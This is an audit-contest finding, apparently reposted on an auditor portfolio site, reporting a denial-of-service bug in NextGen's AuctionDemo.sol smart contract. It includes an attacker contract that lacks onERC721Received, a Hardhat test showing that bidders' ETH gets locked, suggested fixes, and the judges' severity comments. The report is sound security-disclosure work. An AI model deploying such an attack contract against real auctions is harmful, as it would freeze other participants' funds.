NextGen - BugsFinder0x's results

Advanced smart contracts for launching generative art projects on Ethereum.

General Information

Platform: Code4rena

Start Date: 30/10/2023

Pot Size: $49,250 USDC

Total HM: 14

Participants: 243

Period: 14 days

Judge: 0xsomeone

Id: 302

League: ETH

NextGen

Findings Distribution

Researcher Performance

Rank: 173/243

Findings: 1

Award: $0.47

🌟 Selected for report: 0

🚀 Solo Findings: 0

Lines of code

https://github.com/code-423n4/2023-10-nextgen/blob/main/smart-contracts/AuctionDemo.sol#L104-L120

Vulnerability details

Impact

High

Issue Details

Auction Demo can be in DoS and funds been locked in contract forever.

Let's supposed, we already created a NFT collection with 50 Tokens.

Now we want to use the mintAndAuction function() from MinterContract.sol, to set in Auction one of these tokens.

function mintAndAuction( address _recipient, string memory _tokenData, uint256 _saltfun_o, uint256 _collectionID, uint _auctionEndTime ) public FunctionAdminRequired(this.mintAndAuction.selector) { require(gencore.retrievewereDataAdded(_collectionID) == true, "Add data"); uint256 collectionTokenMintIndex; collectionTokenMintIndex = gencore.viewTokensIndexMin(_collectionID) + gencore.viewCirSupply(_collectionID); require(collectionTokenMintIndex <= gencore.viewTokensIndexMax(_collectionID), "No supply"); uint256 mintIndex = gencore.viewTokensIndexMin(_collectionID) + gencore.viewCirSupply(_collectionID); gencore.airDropTokens(mintIndex, _recipient, _tokenData, _saltfun_o, _collectionID); uint timeOfLastMint; // check 1 per period if (lastMintDate[_collectionID] == 0) { // for public sale set the allowlist the same time as publicsale timeOfLastMint = collectionPhases[_collectionID].allowlistStartTime - collectionPhases[_collectionID].timePeriod; } else { timeOfLastMint = lastMintDate[_collectionID]; } // uint calculates if period has passed in order to allow minting uint tDiff = (block.timestamp - timeOfLastMint) / collectionPhases[_collectionID].timePeriod; // users are able to mint after a day passes require(tDiff>=1, "1 mint/period"); lastMintDate[_collectionID] = collectionPhases[_collectionID].allowlistStartTime + (collectionPhases[_collectionID].timePeriod * (gencore.viewCirSupply(_collectionID) - 1)); mintToAuctionData[mintIndex] = _auctionEndTime; mintToAuctionStatus[mintIndex] = true; }

We created a collection and collectionID is 1, no tokens are minted yet and TokenIDs goes from 10000000000 to 10000000049.

Paramenter pass for this function:

_recipient = address of the collection Artist _tokenData = "" _saltfun_o = 0 _collectionID = 1 _auctionEndTime = block.timestamp + 1000

Now mintAndAuction() function, will mint token 10000000000 for the artist and set it in auction.

The only thing to do now is approve token 10000000000, from the artist address, to the auctionDemo.sol . This is necessary because auctionDemo will transfer tokens from artist address to the auction winner.

Now anyone is able to partecipate to the auction of token 10000000000 via participateToAuction() function in AuctionDemo.sol:

function participateToAuction(uint256 _tokenid) public payable { require( msg.value > returnHighestBid(_tokenid) && block.timestamp <= minter.getAuctionEndTime(_tokenid) && minter.getAuctionStatus(_tokenid) == true ); auctionInfoStru memory newBid = auctionInfoStru(msg.sender, msg.value, true); auctionInfoData[_tokenid].push(newBid); }

Now let's supposed there are 3 different address that partecipate to the auction:

Account1 EOA ==> 25 ETH Account2 EOA ==> 35 ETH HackerContract SmartContract ==> 50 ETH

Total ETH in Auction.sol = 110 ETH

As we already know, to receive NFT in a smart contract we need to implement onERC721Received(), otherwise our smart contracts can't handle it.

What's happen if the auction winner is HackerContract, and doesn't implement onERC721Received()?

AuctionDemo.sol will be in DoS.

This happens because the AuctionDemo, when the auction is finished, try to send the NFT from the Artist address to the HackerContract, but it doesn't implement onERC721Received() so, the NFT transfer can't be executed and ETH funds from all the partecipants are locked in the AuctionDemo.sol .

Proof of Concept

Hacker Contract

Suppose this contract, interact with auctionDemo.sol, and win the Auction

contract AttackerContract is Ownable{ auctionDemo auction; constructor(address payable _auctionDemo){ auction = auctionDemo(_auctionDemo); } function partecipate(uint tokenId)external payable { auction.participateToAuction{value: msg.value}(tokenId); } }

As we can see onERC721Received() isn't set.

Test

const{expect} = require("chai"); const{expectRevert, ether} = require("@openzeppelin/test-helpers"); const{ time } = require("@nomicfoundation/hardhat-network-helpers"); describe("NextGen Audit: NextGenCore Contract", function(){ let owner, account1, account2, account3, account4, account5, hacker; let NextGenAdmins, nextGenAdmins, NextGenCore, nextGenCore, NFTdelegation, nftDelegation, MinterContract, minterContract, XRandom, xRandom, RandomNXT, randomNXT, AuctionDemo, auctionDemo, AttackerContract, attacker; before(async()=>{ [owner, account1, account2, account3, account4, account5, hacker] = await ethers.getSigners(); //Deploy NextGenAdmins NextGenAdmins = await ethers.getContractFactory("NextGenAdmins"); nextGenAdmins = await NextGenAdmins.deploy(); await nextGenAdmins.deployed(); //Deploy NextGenCore NextGenCore = await ethers.getContractFactory("NextGenCore"); nextGenCore = await NextGenCore.deploy("NEXT GEN", "NXT_GEN", nextGenAdmins.address); await nextGenCore.deployed(); //Deploy NFTdelegation NFTdelegation = await ethers.getContractFactory("DelegationManagementContract"); nftDelegation = await NFTdelegation.deploy(); await nftDelegation.deployed(); //Deploy MinterContract MinterContract = await ethers.getContractFactory("NextGenMinterContract"); minterContract = await MinterContract.deploy( nextGenCore.address, nftDelegation.address, nextGenAdmins.address ); await minterContract.deployed(); //Deploy XRandom XRandom = await ethers.getContractFactory("randomPool"); xRandom = await XRandom.deploy(); await xRandom.deployed(); //Deploy NextGenCore RandomNXT = await ethers.getContractFactory("NextGenRandomizerNXT"); randomNXT = await RandomNXT.deploy( xRandom.address, nextGenAdmins.address, nextGenCore.address ); await randomNXT.deployed(); await nextGenCore.addMinterContract(minterContract.address); //Deploy AuctionDemo AuctionDemo = await ethers.getContractFactory("auctionDemo"); auctionDemo = await AuctionDemo.deploy( minterContract.address, nextGenCore.address, nextGenAdmins.address ); await auctionDemo.deployed(); //Hacker Deploy Contract To Interact With protocol AttackerContract = await ethers.getContractFactory("AttackerContract"); attacker = await AttackerContract.connect(hacker).deploy(auctionDemo.address); await attacker.deployed(); }); it("Create Collections, Settings Data an set Randomizer Contract",async()=> { //Check actual collection index let newCollectionIndex = await nextGenCore.newCollectionIndex(); console.log(""); console.log("----- Collection Info: " + "name, artist, description, website, " + "_collectionLicense, _collectionBaseURI, _collectionLibrary, _collectionScript -----" ); //------------ COLLECTION 1 ----------------------- //Create collection and set account1 as artist. await nextGenCore.createCollection( "SMPL", (account1.address).toString(), "SimpleNFT", "www.www.com", "None", "", "None", ["script"] ); //Set Collection Admin of Collection 1 await nextGenAdmins.registerCollectionAdmin(1, account1.address, true); //Get Collection Info of Collection 1 let collectionInfo = await nextGenCore.retrieveCollectionInfo(newCollectionIndex); console.log(""); console.log("Created Collection Info", collectionInfo); console.log(""); console.log( "----- Collection Data: " + "collectionArtistAddress, " + "maxCollectionPurchases, " + "collectionCirculationSupply, " + "setFinalSupplyTimeAfterMint" + "randomizerContract" + "-----" ); //Set Collection Data of Collection 1 await nextGenCore.connect(account1).setCollectionData( 1, account1.address, 50, 50, 0 ); //Get Collection Data of Collection 1 let collectionData = await nextGenCore.retrieveCollectionAdditionalData(1); console.log(""); console.log("Created Collection Data", collectionData); //Add Randomizer NXT on Collection 1 await nextGenCore.addRandomizer(1, randomNXT.address); console.log(""); console.log("----- Collection Costs: " + "_collectionID, _collectionMintCost, _collectionEndMintCost, _rate, " + "_timePeriod, _salesOption, _delAddress -----" ); //Set Collection Cost on Collection 1 ===> Linear Sale await minterContract.connect(account1).setCollectionCosts( 1, ethers.utils.parseEther("1"), ethers.utils.parseEther("1"), 0, 1000, 1, // () "0x0000000000000000000000000000000000000000" ); //Get Collection Cost on Collection 1 let collectionCost = await minterContract.retrieveCollectionMintingDetails(1); console.log(""); console.log("Created Collection Cost", collectionCost); console.log(""); console.log("----- Collection Phase: " + "_collectionID, _allowlistStartTime, _allowlistEndTime, " + "_merkleRoot, _publicStartTime, publicEndTime, -----" ); let initialPhase = (await ethers.provider.getBlock("latest")).timestamp; //Set Collection Phase on Collection 1 await minterContract.connect(account1).setCollectionPhases( 1, initialPhase, initialPhase + 5000, initialPhase, initialPhase + 5000, "0x0000000000000000000000000000000000000000000000000000000000000000" ); //Get Collection Phases let collectionPhases = await minterContract.retrieveCollectionPhases(1); console.log(""); console.log("Created Collection Phases", collectionPhases); console.log(""); console.log("Actual Block Number", (await ethers.provider.getBlock("latest")).timestamp); console.log(""); //Freeze Collection await nextGenCore.freezeCollection(1); //MintAndAuction Function on Collection 1 await minterContract.mintAndAuction( account1.address, "", 0, 1, initialPhase + 100 ); //Approve token 10000000000 from account1 to AuctionDemo address await nextGenCore.connect(account1).approve(auctionDemo.address, 10000000000); console.log(""); console.log("Collection1 Min Index:", await nextGenCore.viewTokensIndexMin(1)); console.log("Collection1 Max Index:", await nextGenCore.viewTokensIndexMax(1)); console.log("Collection1 Circulating Supply:", await nextGenCore.viewCirSupply(1)); console.log(""); // Different EOA Accounts partecipate in auction await auctionDemo.connect(account3).participateToAuction(10000000000,{value: ethers.utils.parseEther("25")}); await auctionDemo.connect(account4).participateToAuction(10000000000,{value: ethers.utils.parseEther("35")}); //Hacker contract partecipate in auction await attacker.connect(hacker).partecipate(10000000000, {value: ethers.utils.parseEther("50")}); await time.increase(10000); await auctionDemo.claimAuction(10000000000); }); after(async()=>{ console.log("Auction Demo Balance", (await ethers.provider.getBalance(auctionDemo.address)/10**18).toString(), "ETH"); console.log("Demo owner Balance", (await ethers.provider.getBalance(owner.address)/10**18).toString(), "ETH"); console.log("Hacker Balance", (await ethers.provider.getBalance(hacker.address)/10**18).toString(), "ETH"); console.log("Attacker NFT Balance", (await nextGenCore.balanceOf(attacker.address)/10**18).toString(), "ETH"); console.log("Account3", (await ethers.provider.getBalance(account3.address)/10**18).toString(), "ETH"); console.log("Account4", (await ethers.provider.getBalance(account4.address)/10**18).toString(), "ETH"); console.log(""); console.log("DOS Exploit !"); }); });

Tools Used

Manual Review

Add require, that will check the bool result, to the low-level-calls in AuctionDemo.sol

Create a pull function(), to give the possibility to all the partecipants, to get back ETH if are not the winner.

Create a function emergencyExit(), accessible only from the admin of the contract, to get all the ETH stuck in the contract.

Use a require in partecipateAuction(), that will permit only EOA account to partecipate.

Assessed type

DoS

#0 - c4-pre-sort

2023-11-15T08:10:26Z

141345 marked the issue as duplicate of #843

#1 - c4-pre-sort

2023-11-15T08:11:31Z

141345 marked the issue as duplicate of #843

#2 - c4-pre-sort

2023-11-15T08:13:58Z

141345 marked the issue as duplicate of #843

#3 - c4-pre-sort

2023-11-16T13:36:08Z

141345 marked the issue as duplicate of #486

#4 - c4-judge

2023-12-01T22:44:15Z

alex-ppg marked the issue as not a duplicate

#5 - c4-judge

2023-12-01T22:44:38Z

alex-ppg marked the issue as duplicate of #1759

#6 - c4-judge

2023-12-08T22:14:43Z

alex-ppg marked the issue as partial-50

#7 - c4-judge

2023-12-09T00:23:13Z

alex-ppg changed the severity to 2 (Med Risk)

AuditHub

A portfolio for auditors, a security profile for protocols, a hub for web3 security.

Built bymalatrax © 2024

Auditors

Browse

Contests

Browse

Get in touch

ContactTwitter